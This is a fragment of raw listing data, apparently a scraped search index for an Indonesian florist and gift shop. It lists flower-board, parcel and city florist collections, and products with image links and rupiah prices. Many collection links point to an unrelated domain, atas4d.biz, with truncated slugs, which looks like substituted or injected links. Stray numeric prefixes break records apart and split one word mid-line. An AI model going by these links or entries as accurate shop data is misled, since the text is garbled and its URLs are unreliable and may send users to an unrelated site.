Wedding", category: "Collection", url: "https://atas4d.biz/-ucapan-pernikahan", images: " ", price: " " },{ label: "Papan Bunga Wiyung", category: "Collection", url: "https://atas4d.biz/-wiyung", images: " ", price: " " },{ label: "Papan Bunga Wonogiri", category: "Collection", url: "https://atas4d.biz/-wonogiri", images: " ", price: " " },{ label: "Papan Bunga Wonokromo", category: "Collection", url: "https://atas4d.biz/-wonokromo", images: " ", price: " " },{ label: "Papan Bunga Wonosobo", category: "Collection", url: "https://atas4d.biz/-wonosobo", images: " ", price: " " },{ label: "Papan Bunga Yogyakarta", category: "Collection", url: "https://atas4d.biz/-yogyakarta", images: " ", price: " " },{ label: "Paper Flower Board", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Paper Flower Board Bali", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Paper Flower Board Gresik", category: "Collection", url: "https://atas4d.biz/-gresik", images: " ", price: " " },{ label: "Paper Flower Board Sidoarjo", category: "Collection", url: "https://atas4d.biz/-sidoarjo", images: " ", price: " " },{ label: "Paper Flower Board Surabaya", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Paper Flower Board Yogyakarta", category: "Collection", url: "https://atas4d.biz/-yogyakarta", images: " ", price: " " },{ label: "Parcel", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Parcel Buah", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Parcel Buah Bandung", category: "Collection", url: "https://atas4d.biz/-buah-bandung", images: " ", price: " " },{ label: "Parcel Buah Semarang", category: "Collection", url: "https://atas4d.biz/-buah-semarang", images: " ", price: " " },{ label: "Parcel Buah Sidoarjo", category: "Collection", url: "https://atas4d.biz/-buah-sidoarjo", images: " ", price: " " },{ label: "Parcel Buah Surabaya", category: "Collection", url: "https://atas4d.biz/-buah-surabaya", images: " ", price: " " },{ label: "Parcel Imlek 2026", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Parcel Imlek Bandung", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Parcel Imlek Nusantara", category: "Collection", url: "https://atas4d.biz/-nusantara", images: " ", price: " " },{ label: "Parcel Lebaran Bandung", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Parcel Lebaran Nusantara", category: "Collection", url: "https://atas4d.biz/-indonesia", images: " ", price: " " },{ label: "Parcel Lebaran Surabaya", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Parcel Makanan", category: "Collection", url: "https://atas4d.biz/-makanan", images: " ", price: " " },{ label: "Parcel Natal & Tahun Baru 2026", category: "Collection", url: "/collections/hampers-natal", images: " ", price: " " },{ label: "Parcel Natal & Tahun Baru 2026 Bandung", category: "Collection", url: "https://atas4d.biz/-natal-bandung", images: " ", price: " " },{ label: "Parcel Newborn Nusantara", category: "Collection", url: "https://atas4d.biz/-nusantara", images: " ", price: " " },{ label: "Parcel Tahun Baru", category: "Collection", url: "/collections/new-year-tahun-baru", images: " ", price: " " },{ label: "Party Supplies", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Partysaurus", category: "Collection", url: "/collections/partysaurus", images: " ", price: " " },{ label: "Pasar Bunga Splendid Malang", category: "Collection", url: "/collections/pasar-bunga-splendid-malang", images: " ", price: " " },{ label: "Passionate Red Valentine", category: "Collection", url: "/collections/red-valentine", images: " ", price: " " },{ label: "Pendant", category: "Collection", url: "/collections/liontin", images: " ", price: " " },{ label: "Personalized Fashion", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Personalized Gift", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " }
13764,{ label: "Personalized Gift Pria", category: "Collection", url: "https://atas4d.biz/-pria", images: " ", price: " " },{ label: "Personalized Gift Wanita", category: "Collection", url: "https://atas4d.biz/-wanita", images: " ", price: " " },{ label: "Personalized Gifts", category: "Collection", url: "https://atas4d.biz/s", images: " ", price: " " },{ label: "Pesca Ice Cream Cakes", category: "Collection", url: "/collections/pesca", images: " ", price: " " },{ label: "Phone Case", category: "Collection", url: "/collections/phone-case", images: " ", price: " " },{ label: "Photobook", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Pisces ♓️ 19Feb - 20March", category: "Collection", url: "/collections/kado-untuk-zodiak-pisces", images: " ", price: " " },{ label: "Pohon Natal", category: "Collection", url: "/collections/pohon-natal", images: " ", price: " " },{ label: "Premium Hampers", category: "Collection", url: "https://atas4d.biz/-premium", images: " ", price: " " },{ label: "Premium Newborn Hampers Collection", category: "Collection", url: "/collections/premium-newborn-hampers-collection", images: " ", price: " " },{ label: "Printing Cake", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Prom", category: "Collection", url: "/collections/prom", images: " ", price: " " },{ label: "Promo Merdeka", category: "Collection", url: "/collections/merdeka", images: " ", price: " " },{ label: "Rangkaian Bunga", category: "Collection", url: "/collections/rangkaian-bunga", images: " ", price: " " },{ label: "Rangkaian Bunga Dekorasi", category: "Collection", url: "/collections/rangkaian-bunga-dekorasi", images: " ", price: " " },{ label: "Rangkaian Bunga Ulang Tahun", category: "Collection", url: "/collections/rangkaian-bunga-ulang-tahun", images: " ", price: " " },{ label: "Rings", category: "Collection", url: "/collections/rings", images: " ", price: " " },{ label: "Romantic & Sweets", category: "Collection", url: "/collections/romantic-sweets", images: " ", price: " " },{ label: "Romantic Package", category: "Collection", url: "/collections/romantic-package", images: " ", price: " " },{ label: "Rose Beam", category: "Collection", url: "/collections/rose-beam", images: " ", price: " " },{ label: "Rose Box", category: "Collection", url: "/collections/rose-box", images: " ", price: " " },{ label: "Roses", category: "Collection", url: "/collections/bunga-mawar", images: " ", price: " " },{ label: "Rp 500.000 - Rp 800.000", category: "Collection", url: "/collections/rp-500-000-rp-800-000", images: " ", price: " " },{ label: "Rp 800.000 - Rp 1.000.000", category: "Collection", url: "/collections/rp-800-000-rp-1-000-000", images: " ", price: " " },{ label: "Rustic & Monochrome Ramadan Hampers", category: "Collection", url: "/collections/rustic-monochrome-ramadanhampers", images: " ", price: " " },{ label: "Rustic Bloom", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Rustic Style Flowers", category: "Collection", url: "/collections/rustic-style-flowers", images: " ", price: " " },{ label: "Sagittarius ♐️ 22Nov - 21Des", category: "Collection", url: "/collections/kado-untuk-zodiak-sagittarius", images: " ", price: " " },{ label: "Sameday Delivery", category: "Collection", url: "/collections/sameday", images: " ", price: " " },{ label: "Savoury Dish", category: "Collection", url: "/collections/savoury-dish", images: " ", price: " " },{ label: "Saychiz", category: "Collection", url: "/collections/saychiz", images: " ", price: " " },{ label: "Scented Candles", category: "Collection", url: "/collections/scented-candles", images: " ", price: " " },{ label: "Scorpio ♏️ 24Oct - 21Nov", category: "Collection", url: "/collections/kado-untuk-zodiak-scorpio", images: " ", price: " " },{ label: "Self Pick-Up", category: "Collection", url: "/collections/self-pick-up", images: " ", price: " " },{ label: "Semua Produk", category: "Collection", url: "/collections/all", images: " ", price: " " },{ label: "Serenitea", category: "Collection", url: "/collections/serenitea", images: " ", price: " " },{ label: "Share Outerbloom Moment", category: "Collection", url: "/collections/share-moment", images: " ", price: " " },{ label: "Share your Happiness", category: "Collection", url: "/collections/share-happiness", images: " ", price: " " },{ label: "Signature Cake", category: "Collection", url: "/collections/signature-cake", images: " ", price: " " },{ label: "Signature Chinese New Year Hampers", category: "Collection", url: "/collections/signature-chinese-new-year-hampers", images: " ", price: " " },{ label: "Signature Christmas & New Year Hampers", category: "Collection", url: "/collections/signature-christmas-hampers", images: " ", price: " " },{ label: "Signature Hampers", category: "Collection", url: "/collections/signature-hampers", images: " ", price: " " },{ label: "Signature Hampers Luar Jadetabek", category: "Collection", url: "/collections/signature-hampers-luar-jadetabek", images: " ", price: " " },{ label: "Signature Hampers Sameday", category: "Collection", url: "/collections/signature-hampers-sameday", images: " ", price: " " },{ label: "Signature Ramadan Hampers", category: "Collection", url: "/collections/signature-ramadan-hampers", images: " ", price: " " },{ label: "Slice Cake", category: "Collection", url: "/collections/slice-cake", images: " ", price: " " },{ label: "Snack Box", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Sorbet", category: "Collection", url: "/collections/sorbet", images: " ", price: " " },{ label: "Special Day", category: "Collection", url: "/collections/special-day", images: " ", price: " " },{ label: "Special Edition", category: "Collection", url: "/collections/special-edition", images: " ", price: " " },{ label: "Special For Her", category: "Collection", url: "/collections/special-for-her", images: " ", price: " " },{ label: "Standing Flower", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Standing Flower Bali", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Standing Flower Bandung", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Standing Flower Congratulations", category: "Collection", url: "https://atas4d.biz/-congratulations", images: " ", price: " " },{ label: "Standing Flower Demak", category: "Collection", url: "https://atas4d.biz/-demak", images: " ", price: " " },{ label: "Standing Flower Jepara", category: "Collection", url: "https://atas4d.biz/-jepara", images: " ", price: " " },{ label: "Standing Flower Semarang", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Standing Flower Sidoarjo", category: "Collection", url: "https://atas4d.biz/-sidoarjo", images: " ", price: " " },{ label: "Standing Flower Surabaya", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Standing Flower Yogyakarta", category: "Collection", url: "https://atas4d.biz/-yogyakarta", images: " ", price: " " },{ label: "Standing Giant Flower", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Stationery", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Steekwerk", category: "Collection", url: "/collections/steekwerk", images: " ", price: " " },{ label: "Stylish Hampers", category: "Collection", url: "/collections/stylish-hampers", images: " ", price: " " },{ label: "Stylish Hampers Luar Jadetabek", category: "Collection", url: "/collections/stylish-hampers-luar-jadetabek", images: " ", price: " " },{ label: "Succulent", category: "Collection", url: "/collections/succulent", images: " ", price: " " },{ label: "Sunflower", category: "Collection", url: "/collections/bunga-matahari", images: " ", price: " " },{ label: "Sweet & Savoury Hampers", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Sweet Gracie", category: "Collection", url: "/collections/sweet-gracie", images: " ", price: " " },{ label: "Sweet Pastel Love", category: "Collection", url: "/collections/pastel-love", images: " ", price: " " },{ label: "Sweet Pastel Love Nusantara", category: "Collection", url: "/collections/sweet-pastel-love-nusantara", images: " ", price: " " },{ label: "Sweet Treats", category: "Collection", url: "/collections/sweet-treats", images: " ", price: " " },{ label: "Sweetooth", category: "Collection", url: "/collections/sweetooth", images: " ", price: " " },{ label: "Sōl et Terre x Outerbloom", category: "Collection", url: "/collections/sol-et-terre", images: " ", price: " " },{ label: "Taurus ♉️ 20April - 20May", category: "Collection", url: "/collections/kado-untuk-zodiak-taurus", images: " ", price: " " },{ label: "Teddy Bear", category: "Collection", url: "/collections/boneka-teddy-bear", images: " ", price: " " },{ label: "Teh", category: "Collection", url: "/collections/teh", images: " ", price: " " },{ label: "Test Error", category: "Collection", url: "/collections/test-error", images: " ", price: " " },{ label: "Testing", category: "Collection", url: "/collections/testing", images: " ", price: " " },{ label: "Thank You", category: "Collection", url: "/collections/rangkaian-bunga-ucapan-terima-kasih", images: " ", price: " " },{ label: "The Classic Astoria", category: "Collection", url: "/collections/astoria", images: " ", price: " " },{ label: "The Classic Enchanted Dome", category: "Collection", url: "/collections/enchanted-dome", images: " ", price: " " },{ label: "The Enchanted Love Pirouette Special Edition", category: "Collection", url: "/collections/the-enchanted-love-pirouette-special-edition", images: " ", price: " " },{ label: "The F Thing", category: "Collection", url: "/collections/the-f-thing", images: " ", price: " " },{ label: "The First", category: "Collection", url: "/collections/the-first", images: " ", price: " " },{ label: "The Novo Astoria", category: "Collection", url: "/collections/the-novo-astoria", images: " ", price: " " },{ label: "The Novo Enchanted Dome", category: "Collection", url: "/collections/the-novo-enchanted-dome", images: " ", price: " " },{ label: "The Novo Enchanted Dome Special Edition", category: "Collection", url: "/collections/the-novo-enchanted-dome-special-edition", images: " ", price: " " },{ label: "The Palace", category: "Collection", url: "/collections/the-palace", images: " ", price: " " },{ label: "Ties", category: "Collection", url: "/collections/dasi", images: " ", price: " " },{ label: "Tisane", category: "Collection", url: "/collections/tisane", images: " ", price: " " },{ label: "Toko Bunga Aceh", category: "Collection", url: "https://atas4d.biz/-aceh", images: " ", price: " " },{ label: "Toko Bunga Ambon", category: "Collection", url: "https://atas4d.biz/-ambon", images: " ", price: " " },{ label: "Toko Bunga Atambua", category: "Collection", url: "https://atas4d.biz/-atambua", images: " ", price: " " },{ label: "Toko Bunga Bali", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Balikpapan", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " }
13764,{ label: "Toko Bunga Bandar Lampung", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Bandung", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Bandung Barat", category: "Collection", url: "https://atas4d.biz/-barat", images: " ", price: " " },{ label: "Toko Bunga Banjarmasin", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Banten", category: "Collection", url: "https://atas4d.biz/-banten", images: " ", price: " " },{ label: "Toko Bunga Banyumas", category: "Collection", url: "https://atas4d.biz/-banyumas", images: " ", price: " " },{ label: "Toko Bunga Banyuwangi", category: "Collection", url: "https://atas4d.biz/-banyuwangi", images: " ", price: " " },{ label: "Toko Bunga Batam", category: "Collection", url: "https://atas4d.biz/-batam", images: " ", price: " " },{ label: "Toko Bunga Baubau", category: "Collection", url: "https://atas4d.biz/-baubau", images: " ", price: " " },{ label: "Toko Bunga Bekasi", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Bengkalis", category: "Collection", url: "https://atas4d.biz/-bengkalis", images: " ", price: " " },{ label: "Toko Bunga Bengkayang", category: "Collection", url: "https://atas4d.biz/-bengkayang", images: " ", price: " " },{ label: "Toko Bunga Binjai", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Bintaro", category: "Collection", url: "https://atas4d.biz/-bintaro", images: " ", price: " " },{ label: "Toko Bunga Blitar", category: "Collection", url: "https://atas4d.biz/-blitar", images: " ", price: " " },{ label: "Toko Bunga Blora", category: "Collection", url: "https://atas4d.biz/-blora", images: " ", price: " " },{ label: "Toko Bunga Bogor", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Bojonegoro", category: "Collection", url: "https://atas4d.biz/-bojonegoro", images: " ", price: " " },{ label: "Toko Bunga Boyolali", category: "Collection", url: "https://atas4d.biz/-boyolali", images: " ", price: " " },{ label: "Toko Bunga Brebes", category: "Collection", url: "https://atas4d.biz/-brebes", images: " ", price: " " },{ label: "Toko Bunga Bukittinggi", category: "Collection", url: "https://atas4d.biz/-bukittinggi", images: " ", price: " " },{ label: "Toko Bunga Buleleng", category: "Collection", url: "https://atas4d.biz/-buleleng", images: " ", price: " " },{ label: "Toko Bunga Cakung", category: "Collection", url: "https://atas4d.biz/-cakung", images: " ", price: " " },{ label: "Toko Bunga Cawang", category: "Collection", url: "https://atas4d.biz/-cawang", images: " ", price: " " },{ label: "Toko Bunga Cempaka Putih", category: "Collection", url: "https://atas4d.biz/-cempaka-putih", images: " ", price: " " },{ label: "Toko Bunga Cengkareng", category: "Collection", url: "https://atas4d.biz/-cengkareng", images: " ", price: " " },{ label: "Toko Bunga Ciamis", category: "Collection", url: "https://atas4d.biz/-ciamis", images: " ", price: " " },{ label: "Toko Bunga Cianjur", category: "Collection", url: "https://atas4d.biz/-cianjur", images: " ", price: " " },{ label: "Toko Bunga Cibinong", category: "Collection", url: "https://atas4d.biz/-cibinong", images: " ", price: " " },{ label: "Toko Bunga Cibubur", category: "Collection", url: "https://atas4d.biz/-cibubur", images: " ", price: " " },{ label: "Toko Bunga Cijantung", category: "Collection", url: "https://atas4d.biz/-cijantung", images: " ", price: " " },{ label: "Toko Bunga Cikarang", category: "Collection", url: "https://atas4d.biz/-cikarang", images: " ", price: " " },{ label: "Toko Bunga Cikini", category: "Collection", url: "https://atas4d.biz/-cikini", images: " ", price: " " },{ label: "Toko Bunga Cilacap", category: "Collection", url: "https://atas4d.biz/-cilacap", images: " ", price: " " },{ label: "Toko Bunga Cilandak", category: "Collection", url: "https://atas4d.biz/-cilandak", images: " ", price: " " },{ label: "Toko Bunga Cileunyi", category: "Collection", url: "https://atas4d.biz/-cileunyi", images: " ", price: " " },{ label: "Toko Bunga Ciracas", category: "Collection", url: "https://atas4d.biz/-ciracas", images: " ", price: " " },{ label: "Toko Bunga Cirebon", category: "Collection", url: "https://atas4d.biz/-cirebon", images: " ", price: " " }
13764,{ label: "Toko Bunga Ciwidey", category: "Collection", url: "https://atas4d.biz/-ciwidey", images: " ", price: " " },{ label: "Toko Bunga Danau Toba", category: "Collection", url: "https://atas4d.biz/-danau-toba", images: " ", price: " " },{ label: "Toko Bunga Demak", category: "Collection", url: "https://atas4d.biz/-demak", images: " ", price: " " },{ label: "Toko Bunga Denpasar", category: "Collection", url: "https://atas4d.biz/-denpasar", images: " ", price: " " },{ label: "Toko Bunga Depok", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Duren Sawit", category: "Collection", url: "https://atas4d.biz/-duren-sawit", images: " ", price: " " },{ label: "Toko Bunga Garut", category: "Collection", url: "https://atas4d.biz/-garut", images: " ", price: " " },{ label: "Toko Bunga Gianyar", category: "Collection", url: "https://atas4d.biz/-gianyar", images: " ", price: " " },{ label: "Toko Bunga Gowa", category: "Collection", url: "https://atas4d.biz/-gowa", images: " ", price: " " },{ label: "Toko Bunga Gresik", category: "Collection", url: "https://atas4d.biz/-gresik", images: " ", price: " " },{ label: "Toko Bunga Grobogan", category: "Collection", url: "https://atas4d.biz/-grobogan", images: " ", price: " " },{ label: "Toko Bunga Grogol", category: "Collection", url: "https://atas4d.biz/-grogol", images: " ", price: " " },{ label: "Toko Bunga Gunungkidul", category: "Collection", url: "https://atas4d.biz/-gunungkidul", images: " ", price: " " },{ label: "Toko Bunga Indramayu", category: "Collection", url: "https://atas4d.biz/-indramayu", images: " ", price: " " },{ label: "Toko Bunga Jakarta", category: "Collection", url: "https://atas4d.biz/-jakarta", images: " ", price: " " },{ label: "Toko Bunga Jakarta Barat", category: "Collection", url: "https://atas4d.biz/-jakarta-barat", images: " ", price: " " },{ label: "Toko Bunga Jakarta Pusat", category: "Collection", url: "https://atas4d.biz/-jakarta-pusat", images: " ", price: " " },{ label: "Toko Bunga Jakarta Selatan", category: "Collection", url: "https://atas4d.biz/-jakarta-selatan", images: " ", price: " " },{ label: "Toko Bunga Jakarta Timur", category: "Collection", url: "https://atas4d.biz/-jakarta-timur", images: " ", price: " " },{ label: "Toko Bunga Jakarta Utara", category: "Collection", url: "https://atas4d.biz/-jakarta-utara", images: " ", price: " " },{ label: "Toko Bunga Jambi", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Jatinegara", category: "Collection", url: "https://atas4d.biz/-jatinegara", images: " ", price: " " },{ label: "Toko Bunga Jawa & Bali", category: "Collection", url: "https://atas4d.biz/-jawa-bali", images: " ", price: " " },{ label: "Toko Bunga Jayapura", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Jelambar - Florist Onine 24 Jam", category: "Collection", url: "https://atas4d.biz/-jelambar", images: " ", price: " " },{ label: "Toko Bunga Jember", category: "Collection", url: "https://atas4d.biz/-jember", images: " ", price: " " },{ label: "Toko Bunga Jembrana", category: "Collection", url: "https://atas4d.biz/-jembrana", images: " ", price: " " },{ label: "Toko Bunga Jepara", category: "Collection", url: "https://atas4d.biz/-jepara", images: " ", price: " " },{ label: "Toko Bunga Joglo", category: "Collection", url: "https://atas4d.biz/-joglo", images: " ", price: " " },{ label: "Toko Bunga Jombang", category: "Collection", url: "https://atas4d.biz/-jombang", images: " ", price: " " },{ label: "Toko Bunga Kalibata", category: "Collection", url: "https://atas4d.biz/-kalibata", images: " ", price: " " },{ label: "Toko Bunga Kalimantan", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Kalisari Semarang", category: "Collection", url: "https://atas4d.biz/-kalisari-semarang", images: " ", price: " " },{ label: "Toko Bunga Kampung Baru", category: "Collection", url: "https://atas4d.biz/-kampung-baru", images: " ", price: " " },{ label: "Toko Bunga Kapuas", category: "Collection", url: "https://atas4d.biz/-kapuas", images: " ", price: " " },{ label: "Toko Bunga Karanganyar", category: "Collection", url: "https://atas4d.biz/-karanganyar", images: " ", price: " " },{ label: "Toko Bunga Karangasem", category: "Collection", url: "https://atas4d.biz/-karangasem", images: " ", price: " " },{ label: "Toko Bunga Karawang", category: "Collection", url: "https://atas4d.biz/-karawang", images: " ", price: " " },{ label: "Toko Bunga Kartosuro", category: "Collection", url: "https://atas4d.biz/-kartosuro", images: " ", price: " " },{ label: "Toko Bunga Kayoon Surabaya", category: "Collection", url: "https://atas4d.biz/-kayoon-surabaya", images: " ", price: " " },{ label: "Toko Bunga Kebayoran Baru", category: "Collection", url: "https://atas4d.biz/-kebayoran-baru", images: " ", price: " " },{ label: "Toko Bunga Kebon Jeruk", category: "Collection", url: "https://atas4d.biz/-kebon-jeruk", images: " ", price: " " },{ label: "Toko Bunga Kebumen", category: "Collection", url: "https://atas4d.biz/-kebumen", images: " ", price: " " },{ label: "Toko Bunga Kediri", category: "Collection", url: "https://atas4d.biz/-kediri", images: " ", price: " " },{ label: "Toko Bunga Kelapa Gading", category: "Collection", url: "https://atas4d.biz/-kelapa-gading", images: " ", price: " " },{ label: "Toko Bunga Kemayoran", category: "Collection", url: "https://atas4d.biz/-kemayoran", images: " ", price: " " },{ label: "Toko Bunga Kendal", category: "Collection", url: "https://atas4d.biz/-ken
13764dal", images: " ", price: " " },{ label: "Toko Bunga Kendari", category: "Collection", url: "https://atas4d.biz/-kendari", images: " ", price: " " },{ label: "Toko Bunga Ketapang", category: "Collection", url: "https://atas4d.biz/-ketapang", images: " ", price: " " },{ label: "Toko Bunga Klaten", category: "Collection", url: "https://atas4d.biz/-klaten", images: " ", price: " " },{ label: "Toko Bunga Klender", category: "Collection", url: "https://atas4d.biz/-klender", images: " ", price: " " },{ label: "Toko Bunga Kota Baru Yogyakarta", category: "Collection", url: "https://atas4d.biz/-kota-baru-yogyakarta", images: " ", price: " " },{ label: "Toko Bunga Kota Batu", category: "Collection", url: "https://atas4d.biz/-kota-batu", images: " ", price: " " },{ label: "Toko Bunga Kramat Jati", category: "Collection", url: "https://atas4d.biz/-kramat-jati", images: " ", price: " " },{ label: "Toko Bunga Kudus", category: "Collection", url: "https://atas4d.biz/-kudus", images: " ", price: " " },{ label: "Toko Bunga Kupang", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Lamongan", category: "Collection", url: "https://atas4d.biz/-lamongan", images: " ", price: " " },{ label: "Toko Bunga Langkat", category: "Collection", url: "https://atas4d.biz/-langkat", images: " ", price: " " },{ label: "Toko Bunga Lebak Bulus", category: "Collection", url: "https://atas4d.biz/-lebak-bulus", images: " ", price: " " },{ label: "Toko Bunga Lembang", category: "Collection", url: "https://atas4d.biz/-lembang", images: " ", price: " " },{ label: "Toko Bunga Lenteng Agung", category: "Collection", url: "https://atas4d.biz/-lenteng-agung", images: " ", price: " " },{ label: "Toko Bunga Lombok", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Lubuk Pakam", category: "Collection", url: "https://atas4d.biz/-lubuk-pakam", images: " ", price: " " },{ label: "Toko Bunga Lumajang", category: "Collection", url: "https://atas4d.biz/-lumajang", images: " ", price: " " },{ label: "Toko Bunga Madiun", category: "Collection", url: "https://atas4d.biz/-madiun", images: " ", price: " " },{ label: "Toko Bunga Magelang", category: "Collection", url: "https://atas4d.biz/-magelang", images: " ", price: " " },{ label: "Toko Bunga Majalengka", category: "Collection", url: "https://atas4d.biz/-majalengka", images: " ", price: " " },{ label: "Toko Bunga Makassar", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Malang", category: "Collection", url: "https://atas4d.biz/-malang", images: " ", price: " " },{ label: "Toko Bunga Manado", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Mangga Besar", category: "Collection", url: "https://atas4d.biz/-mangga-besar", images: " ", price: " " },{ label: "Toko Bunga Manokwari", category: "Collection", url: "https://atas4d.biz/-manokwari", images: " ", price: " " },{ label: "Toko Bunga Maros", category: "Collection", url: "https://atas4d.biz/-maros", images: " ", price: " " },{ label: "Toko Bunga Mataram", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Medan", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },{ label: "Toko Bunga Mojokerto", category: "Collection", url: "https://atas4d.biz/-mojokerto", images: " ", price: " " },{ label: "Toko Bunga Nganjuk", category: "Collection", url: "https://atas4d.biz/-nganjuk", images: " ", price: " " },{ label: "Toko Bunga Ngawi", category: "Collection", url: "https://atas4d.biz/-ngawi", images: " ", price: " " },{ label: "Toko Bunga Nias", category: "Collection", url: "https://atas4d.biz/-nias", images: " ", price: " " },{ label: "Toko Bunga Nusa Tenggara", category: "Collection", url: "https://atas4d.biz/", images: " ", price: " " },
13765      { label: "grand salutation jabodetabek", category: "Produk", url: "/products/grand-salutation", images: "https://outerbloom.com/cdn/shop/files/JKTCON1005_Grand-Salutation-Jabodetabek-WM_thumb.jpg?v=1703241523", price: "Rp 435.000" },{ label: "consolantibus jabodetabek", category: "Produk", url: "/products/consolantibus", images: "https://outerbloom.com/cdn/shop/files/JKTDUK1011_Consolantibus-Jabodetabek-WM_thumb.jpg?v=1703239823", price: "Rp 435.000" },{ label: "classic midnight hand bouquet fiery red", category: "Produk", url: "/products/the-classic-midnight-hand-bouquet-fiery-red", images: "https://outerbloom.com/cdn/shop/files/OBVBUN1422_Classic-Midnight-Hand-Bouquet---Fiery-Red-large_thumb.jpg?v=1757302521", price: "Rp 385.000" },{ label: "endearing ruby", category: "Produk", url: "/products/endearing-ruby", images: "https://outerbloom.com/cdn/shop/products/OUTSTF1003_Endearing-Ruby_thumb.jpg?v=1631296611", price: "Rp 1.349.417" },{ label: "gentle soul jabodetabek", category: "Produk", url: "/products/gentle-soul-jabodetabek", images: "https://outerbloom.com/cdn/shop/files/JKTDUK1030_Gentle-Soul-Jabodetabek-WM_thumb.jpg?v=1703239894", price: "Rp 435.000" },{ label: "belleza jabodetabek", category: "Produk", url: "/products/belleza", images: "https://outerbloom.com/cdn/shop/files/Belleza-Jabodetabek-LED_aecb756a-0737-45cc-8bfb-008515ca0a37_thumb.gif?v=1759229680", price: "Rp 435.000" },{ label: "sentiments jabodetabek", category: "Produk", url: "/products/sentiments", images: "https://outerbloom.com/cdn/shop/files/Sentiments-Jabodetabek-WM_thumb.jpg?v=1759224099", price: "Rp 485.000" }
13765,{ label: "majestic pink roses with baby breath bouquet", category: "Produk", url: "/products/majestic-pink-roses-with-baby-breath-bouquet", images: "https://outerbloom.com/cdn/shop/products/ef4a3be9-c938-4c70-98ac-4873e7da82bf_90820a66-923a-463d-a464-81bcbe6e6644_thumb.jpg?v=1581413440", price: "Rp 485.000" },{ label: "rose poetry bouquet", category: "Produk", url: "/products/rose-poetry-bouquet", images: "https://outerbloom.com/cdn/shop/products/Rose-Poetry-Bouquet-20-tangkai_thumb.jpg?v=1675151039", price: "Rp 385.000" },{ label: "genuine feeling", category: "Produk", url: "/products/genuine-feeling", images: "https://outerbloom.com/cdn/shop/products/OUTSTF1004Genuine-Feeling_981ade89-af27-433e-81aa-8d76175a0e4d_thumb.jpg?v=1612352389", price: "Rp 1.349.417" },{ label: "eternal fidelity jabodetabek", category: "Produk", url: "/products/eternal-fidelity-jabodetabek", images: "https://outerbloom.com/cdn/shop/products/0b89df45-dcc1-4876-820e-61b2243a1945_964e211d-2972-46c9-8593-976210929089_thumb.jpg?v=1590491458", price: "Rp 435.000" },{ label: "rosabelle hand bouquet", category: "Produk", url: "/products/rosabelle-hand-bouquet", images: "https://outerbloom.com/cdn/shop/files/OBVBUN1429_Rosabelle-Hand-Bouquet-Medium_thumb.jpg?v=1756971848", price: "Rp 385.000" },{ label: "dreaming in pink luxury in vase", category: "Produk", url: "/products/dreaming-in-pink-luxury-in-vase", images: "https://outerbloom.com/cdn/shop/products/OBVBUN1051_Dreaming-In-Pink-Luxury-In-Vase_3_thumb.jpg?v=1614594504", price: "Rp 8.000.008" },{ label: "excito jabodetabek", category: "Produk", url: "/products/excito", images: "https://outerbloom.com/cdn/shop/files/JKTCON1010_Excito-Jabodetabek-2023_thumb.gif?v=1717494677", price: "Rp 485.000" },{ label: "spirit of eminance jabodetabek", category: "Produk", url: "/products/spirit-of-eminance-jabodetabek", images: "https://outerbloom.com/cdn/shop/files/JKTCON1026_Spirit-of-Eminance-Jabodetabek-newest-WM_thumb.jpg?v=1693297526", price: "Rp 485.000" },{ label: "golden toast jabodetabek", category: "Produk", url: "/products/golden-toast", images: "https://outerbloom.com/cdn/shop/products/LED-GoldenToast_thumb.gif?v=1579249585", price: "Rp 485.000" },{ label: "white elysian bloom box", category: "Produk", url: "/products/white-elysian-bloom-box", images: "https://outerbloom.com/cdn/shop/files/OBVBUN1704_White-Elysian-Bloom-Box_thumb.jpg?v=1757328247", price: "Rp 685.000" },{ label: "charming forevermore 